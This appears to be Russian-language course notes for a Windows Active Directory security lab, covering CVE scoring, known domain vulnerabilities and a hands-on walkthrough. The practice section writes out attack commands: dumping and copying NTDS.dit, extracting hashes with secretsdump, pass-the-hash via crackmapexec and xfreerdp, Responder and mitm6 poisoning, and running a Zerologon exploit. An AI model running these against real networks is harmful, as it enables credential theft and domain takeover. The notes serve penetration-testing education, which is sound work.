# Занятие по Windows №6. Базовые атаки и компроментация доменной Windows-инфраструктуры
# Теория
**Основные виды атак на инфраструктуру:**
- Почтовый фишинг

- Вирусная программа на СНИ

- Проникновение на объект

- Уязвимости систем

## Что такое CVE?
Это база данных общеизвестных уязвимостей информационной безопасности
У каждой уязвимости есть:
- **Номер**(CVE-2019-0708)
- **Шкала критичности** (9.8 Critical)
- **Вектор** (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **Конкретный недостаток реализации**(CWE-416)
- **Применимость**(CPE)
- **Наличие исправлений или способы смягчения**
*Шкала критичности*:
* **Низкий уровень(0-5)**
* **Средний уровень(6-7)**
* **Высокий уровень(7-8)**
* **Критический уровень(9-10)**
*Метрики(CVSS):*
Есть три вида метрик:
* **Базовые метрики** - общие метрики для уязвимости без учета времени и контекста применимости
* **Временные метрики** - учитывают реакцию производителя уязвимого продукта, которые изменяются с момента обнаружения уязвимости до момента ее исправления
* **Контекстные метрики** - оперируют требованиями безопасности к системе, в которой работает уязвимый продукт
**Калькулятор CVSS и метрики:**

**Вектор атаки(AV):**

**Сложность атаки(AC)**

**Уровень привелегий(PR)**

**Взаимодействие с пользователем(UI)**

**Влияние на другие компоненты системы(S)**

**Влияние на конфиденциальность(C)**

**Влияние на целостность(I)**

**Влияние на доступность(A)**

**Временные метрики **

**Контекстные метрики**

## Актуальные уязвимости для инфраструктуры Windows
### Zerologon (CVE-2020-1472)
Она позволяет неаутентифицированному злоумышленнику получить права администратора домена. Уязвимость представляет из себя ошибку реализации протокола шифрования AES-CFB8
### SMBGhost (CVE-2020-0796)
Представляет собой переполнение буфера на серверах Microsoft SMBv3. Она позволяет неавторизированному атакующему удаленно выполнить код на целевом сервере или клиенте. Открывает системы для атак по типу червя.
### Proxylogon (CVE-2021-26855,26858,27065,26857)
Тип уязвимости - SSRF. Позволяет без аутентификации удаленно исполнять произвольные команды, получать права администратора и устанавливать вредоносное ПО. Она позволяет обьойти аутентификацию в MS Exchange и выдать себя за любого пользователя.
### PrintNightmare(CVE-2021-1675 и CVE-2021-34527)
Уязвимость в диспетчере очереди печати. Отличия между номерами в том, что первая эксплуатируется только локально, а вторая удаленно. Тип уязвимости - RCE. Ошибка в коде приводит к недостаточной валидации ввода в ходе добавления нового принтера, в результате появляется возможность загрузить в систему вредоносный DLL-файл.
## Классические уязвимости Windows
К ним относятся:
* Path-the-hash
* LLMNR
* NBNS
* WPAD
* mitm6
### Path-the-hash
Позволяет атакующему авторизироваться на удаленном сервере, на котором аутентификация происходит с помощью NTLM или LM. Для аутентификации используется не пароль, а хэш пароля. И так как он передается без соли, хэши остаются неизменными от сессии к сессии(пока не изменится пароль).
### LLMNR
Этот протокол используется для инициализации в локальной сети без dhcp сервера.
Проблема этого протокола в том, что запрос разрешения имен посылается с помощью мультикаста. То клиент неяво доверяет всем, кто на него ответит.
### NetBIOS
Этот протокол нужен для обнаружения комьютеров в сети, построенной на базе TCP/IP. Приложения могут найти через NetBIOS нужные им ресурсы, установить связь и послать или получить информацию. Использует для службы имен (NetBIOS-NS) порт 137, для службы дейтаграмм (NetBIOS-DGM) порт 138, а для службы (NetBIOS-SSN) порт 139.
**Эксплуатаци LLMNR и NetBIOS:**

### WPAD
**Web Proxy Auto-Discovery Protocol** - протокол автоматической настройки прокси, который используется браузером(клиентом) для определения расположения конфигурационного файла с использованием технологий DHCP и/или DNS. По умолчанию включен в IE(Internet Explorer) Windows. Если в DNS нет записи о WPAD-сервере, злоумышленник может ее подделать. То есть злоумышленник сможет перенаправлять запрос браузера через свой прокси-сервер.
## Эксплуатация контроллера домена
### Zerologon

Схема работы:

Разберем подробнее:





## Поиск следов компроментации
### Поиск информации в логах
Каждая эксплуатация тех или иных уязвимостей приводит к генерации журналируемых событий. Поэтому факт эксплуатации системы можно обнаружить правильно выполнив поиск по id событий. Исследователи часто публикуют характерные следы эксплойтов в виде набора событий, идущих друг за другом, а SIEM система коррелирует такие события, выдавая оповещение в виде инцидента для специалиста центар мониторинга.
### Обнаружение атак в сетевом трафике
# Практика
Запускам CMD, далее программу **ntdsutil** для работы с ntds и ifm(install from media). После этого создадим бэкап командой create full C:\temp

В папке C:\temp должно появиться две папки и два файла в каждой.
Переходим на kali-linux и запускаем программу `smbclient '\\192.168.10.200\C$' -U pt/administrator` и вводим пароль администратора.
Далее вводим сервисные команды такие как:
`recurse ON
prompt OFF`
Укажем, куда будем загружать файлы на Кали
`lcd /home/kali`
И скачиваем папку
`mget tmp`
Выходим из smb
`exit`
Далее скачиваем impacket - это набор пентестерских утилит для тестирования небольшой AD.
`git clone https://github.com/SecureAuthCorp/impacket`
И устанавливает python:
`apt install python3-pip`
:::info
Если не может найти этот пакет, сначала вводим команду `sudo apt update`.
:::
В скачанной папке impacket в папке examples запускаем скрипт secretsdump.py:
`python secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL`
Таким образом мы получили хэши учетных записей.
Допустим, что мы ничего не знаем о домене. В таком случае воспользуемся командой `crackmapexec smb 192.168.10.0/24`. Мы увидим вот такую картину:

Попробуем теперь проэксплуатировать систему:
`` crackmapexec smb 192.168.10.200 -u *имя пользователя* -H *хэш пользователя* -x *какую команду мы хотим выполнить* ``

А что если мы хотим подключиться к рабочему столу?
На этот счет у Kali linux есть встроенная программа xfreerdp. Ее синтаксис:
`xfreerdp /d:*имя домена* /u:*имя пользователя* /v:*ip-адрес* /pth:*NTLM хэш пользователя*`
При попытке подключиться у нас показывается вот такая ошибка:

В Windows с помощью PowerShell-скрипта меняем параметры реестра:

Пробуем еще раз подключиться с Кали-линукс и мы получаем удаленный доступ.
Далее вводим команду `responder -i eth0 -A`
Этой командой мы слушаем данные в домене. Если пользователь ошибется при вводе пользователя в домене, то нам все покажется и, если бы была включена атака, на этот запрос ответил бы наш сниффер. Давайте включим атаку чтобы посмотреть, как это происходит:
`responder -i eth0 -wFv`
Если пользователь ошибется при вводе имени ресурса, то наша программа покажет вот такой результат:

То есть мы получили NTLM хэш, который в дальнейшем можем брутфорсить.
Далее рассмотрим атаку на протокол IPv6. Для этого на Кали установим mitm6
`pip install mitm6`
Далее вводим команду
`mitm6 -d pt.local`
После этого открываем новый терминал и вводим там такую команду:
`python3 smbserver.py -smb2support SMB /root/SMB`
После этого мы увидим вот такой вывод программы:

На Windows мы увидим вот такую ситуацию вместо оригинальной:

В данной атаке наш Kali Linux стал сервером для компьютеров в доменной сети.
Данная атака достаточно серьезная, и на восстановление сети будет требоваться достаточно много времени. Данную атаку лучше не пробовать даже для тестов, так как она положит всю сеть.
В логах включаем Audit Computer Account Properties.

В PowerShell вводим команду gpupadate для обновления групповой политики.
Далее в самой Virtual Box делаем Snapshot системы, чтобы если что ее откатить.
Далее в Kali Linux скачиваем Exploit для Zerologon:
`git clone https://github.com/risksense/zerologon`
Далее заходим в папку zerologon
Для эксплуатации вводим в терминал команду:
python3 set_empty_pw.py DC1 192.168.10.200
После этого используем скрипт secretsdump для подбора пароля. Синтаксис вот такой:
`python3 secretsdump.py -hashes *полученный хэш* '*учетная запись*@*ip-адрес*'`
В нашем случае эта команда выглядеть вот так:
